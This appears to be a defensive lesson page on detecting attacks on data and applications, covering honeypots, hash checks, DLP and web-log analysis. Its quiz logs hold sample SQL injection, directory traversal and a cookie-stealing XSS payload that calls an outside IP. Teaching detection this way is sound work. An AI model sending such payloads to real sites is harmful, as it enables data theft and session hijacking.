Topic 5.6 · Unit 5: Securing Applications and Data · 45 minute session
5.6 Detecting Attacks on Data and Applications
Accounting logs record who accessed which data, so analysts look for unusual files, unusual times, places or devices, and attempts to copy or delete sensitive files. A honeypot is a fake valuable file whose every access is suspicious; hash comparisons reveal altered files. Detective controls, including data loss prevention (DLP) services, are chosen by cost, sensitivity and classification, and judged by speed and false negatives. In application logs, quotes, OR 1=1, -- and SQL words show structured query language (SQL) injection, script tags show cross site scripting (XSS), long fields show buffer overflow and ../ shows directory traversal.
Big idea Data attacks leave fingerprints: the wrong file, the wrong time, a changed hash, or user input full of code. Know what each detector can and cannot see.
Course and exam description (CED) codes covered: 5.6.A.15.6.A.25.6.A.35.6.B.15.6.B.25.6.B.35.6.C.15.6.C.25.6.C.35.6.D.15.6.D.25.6.D.35.6.E.15.6.E.25.6.E.35.6.E.4
Last reviewed against the CED:
By the end of this session you can
- 5.6.A Explain how to detect attacks on data.
- 5.6.B Determine controls for detecting attacks against applications or data.
- 5.6.C Evaluate the impact of a method for detecting attacks against an application or data.
- 5.6.D Identify whether a file has been altered by verifying its hash.
- 5.6.E Apply detection techniques to identify and report indicators of application attacks by analyzing log files.
1. Detecting attacks on data (5.6.A)
Devices track and log when data are accessed and by whom. Recording and monitoring user activities is accounting. Analyzing these logs can reveal an adversary trying to access, copy, move or delete data 5.6.A.1. Suspicious activity includes:
- Accessing files that are not typically accessed
- Accessing files or applications outside a user’s normal patterns: time of day, location and device type
- Attempts to delete or copy sensitive files
A honeypot is a file that looks as if it holds valuable data (such as credit card information, personally identifiable information (PII) or passwords), but the data are fake. Because there is no legitimate reason to open it, any attempted access is an indicator of malicious activity, and the system can alert defenders 5.6.A.2. Cryptographic hash functions generate a digest for data and reveal if the data have been altered; an unexpected change can be a sign of malicious activity 5.6.A.3.
2. Choosing detective controls (5.6.B)
| Criterion | What it means |
|---|---|
| Cost 5.6.B.1 | Honeypots and hash checks are inexpensive. Third-party data loss prevention (DLP) services monitor data access, usage and transmission across the organization: strong detection at a higher cost |
| Sensitivity or criticality 5.6.B.2 | More sensitive or critical data and applications are likelier targets and should be monitored more closely |
| Classification 5.6.B.3 | Data classified as private, educational, healthcare or financial often have legal or regulatory detection and monitoring requirements |
3. Judging a detection method (5.6.C)
| Question | What to know |
|---|---|
| Speed 5.6.C.1 | Log analysis needs some automation to work at an effective speed. Honeypots detect almost instantly |
| During or after? 5.6.C.2 | Some DLP tools, honeypots and realtime automated log analysis alert as the attack happens, so defenders can stop it. Retrospective log analysis and hash checks identify attacks after they occur |
| What can it miss? 5.6.C.3 | False negatives: hashes detect only alteration, so data viewed or stolen without change go unnoticed; honeypots miss adversaries who never touch them |
4. Verifying a hash (5.6.D)
Hash functions are repeatable: the same input always gives the same output for a given function, so a change in the hash means a change in the file 5.6.D.1. Hashes can be calculated on the command line, on a website or with specialized software 5.6.D.2:
| Shell | Command for a Secure Hash Algorithm 256 (SHA-256) hash of a file named testfile |
|---|---|
| Windows PowerShell | Get-FileHash testfile -Algorithm SHA256 |
| bash | sha256sum testfile |
| zsh (common on Apple computers) | shasum -a 256 testfile |
Hash a file and record the output; hash it again later and compare. If the hash changed, the file was altered between the two hashes 5.6.D.3.
$ sha256sum policy.pdf # March: recorded 5d41b0f2...3c9a policy.pdf $ sha256sum policy.pdf # June: compare a77e0913...e012 policy.pdf # different: the file was altered
5. Reading application logs (5.6.E)
Each line of a web server log records the time, the source internet protocol (IP) address, the request and a status code. Read the user input inside each request.
| Attack | Indicators in application and server logs |
|---|---|
| SQL injection 5.6.E.1 | User input with a single or double quote; Boolean conditions such as OR 1=1; a double dash -- (a comment in SQL); SQL control words, always in capitals, such as WHERE, IN, FROM |
| XSS 5.6.E.2 | Suspicious tags in user input, especially <script>...</script> |
| Buffer overflow 5.6.E.3 | Long strings in the uniform resource locator (URL), cookie, query string or total request length |
| Directory traversal 5.6.E.4 | Hypertext transfer protocol (HTTP) GET requests whose paths contain sequences of ../ |
Work the logs below the way a security operations analyst would.
Lock it in: memory hooks
One picture per idea. If you remember the hook, you can rebuild the details.
- Log signs of an attackSQL: quotes, OR 1=1, --, CAPITAL words. XSS: script tags. Overflow: way too long. Traversal: dot dot slash.
- Fast vs after the factHoneypots, DLP and realtime logs alert now; hashes and retrospective logs tell you later.
- Hash commandsPowerShell Get-FileHash, bash sha256sum, zsh shasum -a 256.
Common misconceptions
"If a file's hash has not changed, no one has touched the data."
Not quite. Hashes only detect alteration. An adversary can view and steal data without changing it, and the hash stays the same: a false negative.
"Honeypots catch every intruder."
Not quite. A honeypot cannot detect adversaries who never try to open it.
"Reviewing logs once a month catches attacks as they happen."
Not quite. Retrospective log analysis finds attacks after they have occurred. Realtime automated analysis, honeypots and some DLP tools alert during the attack.
Simulation · [5.6.A.1, 5.6.A.2]
File access log: who is after the data?
A design firm records every file access on its project server (accounting). Staff work 08:00 to 18:00 from office laptops. customer_cards_backup.xlsx is a honeypot: it looks valuable but holds fake data. Tap every entry that suggests an attack on data. Tap each part you think is a red flag. There are 3.
-
Fine. A designer opening a project file during working hours on an office laptop. Normal.
-
Fine. Normal work on a project the user belongs to.
-
Red flag. Someone opened the honeypot. It holds fake data, so there is no legitimate reason to access it: an indicator of malicious activity.
-
Red flag. Outside normal hours, from an unknown device, copying a huge set of files: three signs of data theft at once.
-
Red flag. An attempt to delete sensitive files, right after the mass copy, from the same unknown device.
-
Fine. A common template opened during the day. Normal.
Simulation · [5.6.A.3, 5.6.D.1, 5.6.D.3]
Integrity check: which files were altered?
Last month an administrator recorded the SHA-256 hash of each file on a web server (baseline). Today she ran sha256sum again. Hashes are shortened to the first and last 4 characters. No updates were installed in between. Tap every file that was altered. Tap each part you think is a red flag. There are 2.
-
Fine. Same hash both times. Hash functions are repeatable, so the file has not changed.
-
Red flag. The hash changed and no update was installed, so the login page was altered: a sign of malicious activity worth investigating.
-
Fine. Unchanged.
-
Fine. Unchanged. A matching hash proves the file was not altered, but it cannot show whether someone read or copied it.
-
Red flag. A changed hash on a file that handles uploads: the file was altered between the two checks.
Simulation · [5.6.A.2, 5.6.B.1, 5.6.C.1, 5.6.C.2, 5.6.C.3]
Detection drill: pick the best detective control
Choose the detective control that best fits each need. Think about cost, how fast it alerts, and what it can miss.
-
A small nonprofit with almost no budget wants an instant alert if anyone goes looking for donor card numbers.
Show the answer
Honeypot file. Inexpensive and near instantaneous: no one has a legitimate reason to open a fake "donor_cards" file.
-
A national insurer wants to monitor how every employee accesses, uses and sends customer data, and can afford a third-party service.
Show the answer
Data loss prevention (DLP) service. DLP monitors data access, usage and transmission across the organization: strong detection at a higher cost.
-
An administrator wants to prove that the installer files on a download server have not been changed since release.
Show the answer
Cryptographic hash comparison. A changed hash shows a changed file. It is inexpensive, but it finds changes only after they happen.
-
After a breach was reported in the news, a company wants to find out which accounts opened the leaked files last month.
Show the answer
Retrospective log analysis. Reviewing past logs identifies attacks after they have occurred.
Simulation · [5.6.E.1, 5.6.E.2, 5.6.E.3, 5.6.E.4]
Web server log hunt: spot the application attacks
This is the access log of a library catalog web application. Each line shows the time and source internet protocol (IP) address, then the request and its HTTP status code. User input is shown decoded so you can read it. Tap every request that is an indicator of an application attack, then check. Tap each part you think is a red flag. There are 5.
-
Fine. An ordinary search for a book title. Nothing unexpected in the input.
-
Red flag. SQL injection: a single quote, the Boolean condition OR 1=1 and a double dash comment. All three are SQL control signs.
-
Red flag. Directory traversal: the ../ sequences try to climb out of the covers directory to reach a file of database passwords elsewhere on the server.
-
Fine. A normal request for a cover image inside the expected directory.
-
Red flag. Stored XSS attempt: a script tag posted into a review that other visitors would load. 201 means the review was saved, so it needs removing.
-
Fine. An ordinary search by author. No control characters, tags or ../ sequences.
-
Red flag. Buffer overflow attempt: a query string far longer than any real username. The 500 error suggests the application struggled with it.
-
Red flag. SQL injection: SQL control words in capital letters (SELECT, FROM) inside user input, trying to pull usernames and passwords.
Exam traps
- Honeypots and hash checks are inexpensive; DLP services detect strongly but cost more.
- More sensitive or critical data should be monitored more closely; private, educational, healthcare and financial data often have legal monitoring requirements.
- Log analysis needs some automation to work at an effective speed.
- A changed hash means the file was altered between the two hashes; a matching hash means it was not altered (not that it was not read).
By the numbers
Say each list out loud, then tap to check.
3 suspicious data activities Say them, then tap
- accessing files not typically accessed
- access outside a user's normal patterns (time, location, device type)
- attempts to delete or copy sensitive files
3 criteria for detective controls Say them, then tap
- cost
- sensitivity or criticality
- classification
3 hash commands Say them, then tap
- Get-FileHash testfile -Algorithm SHA256 (PowerShell)
- sha256sum (bash)
- shasum -a 256 (zsh)
4 SQL injection signs Say them, then tap
- single or double quotes
- Boolean conditions like OR 1=1
- a double dash --
- SQL control words in capitals like WHERE
- IN
- FROM
4 buffer overflow fields Say them, then tap
- URL length
- cookie length
- query string length
- total request length
In 30 seconds
- Accounting records and monitors user activity; suspicious data access includes unusual files, unusual times, places or devices, and attempts to copy or delete sensitive files.
- Honeypots are fake valuable files: any access is an indicator. Hashes reveal altered files.
- Choose detection by cost, sensitivity or criticality and classification.
- Honeypots, some DLP tools and realtime log analysis alert during an attack; retrospective logs and hashes find it afterward. Hashes miss reading and copying; honeypots miss adversaries who never touch them.
- Hash a file, record it, hash it again later and compare.
- Logs: SQL injection shows quotes, OR 1=1, -- and SQL words; XSS shows script tags; buffer overflow shows long fields; directory traversal shows ../ in GET requests.
Cover this list, say the points out loud, then take the checkpoint without scrolling back up.
Checkpoint · 10 questions
Checkpoint: Detecting Attacks on Data and Applications
Pick an answer to mark it. Every answer is explained, and you can try any question again. Your saved score counts first tries only, and stays in this browser.
-
A law firm reviews its file access log. Staff work 09:00 to 18:00 on office laptops.
File access log Entry Time User Device Action File E1 10:12 j.moreau LAP-07 open /cases/2026/brief.docx E2 14:40 a.singh LAP-03 save /cases/2026/notes.docx E3 03:05 j.moreau unknown copy /clients/ (all files) E4 17:55 a.singh LAP-03 open /templates/letter.docx -
A company places a file named admin_passwords_2026.txt on its file server. The passwords in it are fake, and the system alerts the security team if anyone opens it.
-
A large bank has a big security budget and wants to monitor how all employees access, use and send customer data across the organization.
-
A company hashes its customer list every night. A month after an adversary copied the list, the company learns of the theft from the news. Every nightly hash had matched.
-
An administrator compares SHA-256 hashes (shortened) recorded in May with hashes taken today.
Hash comparison File May hash Today's hash handbook.pdf 3e1a...77c0 3e1a...77c0 payroll.xlsx b902...1d4e 5fa8...c213 logo.png 0c44...e9b1 0c44...e9b1 map.jpg 91d7...4a02 91d7...4a02 -
An analyst reviews a web application log (user input shown decoded).
access.log Line Request Status L1 GET /item?id=4' OR 1=1 -- 200 L2 POST /comment text=<script>location="//198.51.100.4/?c="+document.cookie</script> 201 L3 GET /file?name=../../../srv/app/.env 403 L4 GET /search?q=AAAA... (8,192 characters) 500 -
A store's web log shows one request (user input decoded).
access.log Source IP Request Status 203.0.113.40 GET /products?cat=5 UNION SELECT email, card FROM customers 200
Key terms: flip the cards
Read the term, say the definition out loud, then flip to check. Struggling a little to remember is what makes it stick.
-
Accountingtap to flip
The process of recording and monitoring user activities, such as when data are accessed and by whom.
Example and CED codes -
Honeypottap to flip
A file that appears to hold valuable data but holds fake data; any access to it is an indicator of malicious activity.
Example and CED codes -
Hashtap to flip
The fixed-length output of a cryptographic hash function; repeatable, collision resistant and pre-image resistant.
Example and CED codes -
Data loss prevention (DLP)tap to flip
A third-party service that monitors users' data access, usage and transmission across an organization to detect suspicious activity.
Example and CED codes -
False negativetap to flip
When an adversary bypasses a detection system, so a real attack raises no alert.
Example and CED codes -
SQL injectiontap to flip
An attack that places structured query language (SQL) commands and control characters into an input field, so the application returns too much data or changes and deletes data.
Example and CED codes -
Cross site scripting (XSS)tap to flip
An attack that injects malicious code into a website so the user's browser runs it; Type I is reflected (in a link) and Type II is stored (posted on the site).
Example and CED codes -
Buffer overflowtap to flip
An attack that feeds more data into a fixed-size buffer in memory than was allotted, overwriting nearby memory to crash the system or run unauthorized code.
Example and CED codes -
Directory traversaltap to flip
An attack that edits uniform resource locators (URLs) and hypertext transfer protocol (HTTP) GET requests, usually with ../, to reach sensitive files outside a web application's folder.
Example and CED codes
Questions students ask
What is a honeypot in AP® Cybersecurity Unit 5?
A file that looks like it holds valuable data, such as card numbers or passwords, but holds fake data. Since no one has a legitimate reason to open it, any access is an indicator of malicious activity, and the system can alert defenders.
How do you check whether a file was altered?
Hash it and record the output, then hash it again later, for example with sha256sum in bash, and compare. A different hash means the file changed between the two hashes.
What does SQL injection look like in a log?
User input containing single or double quotes, Boolean conditions such as OR 1=1, a double dash -- and SQL control words in capital letters such as WHERE, IN or FROM.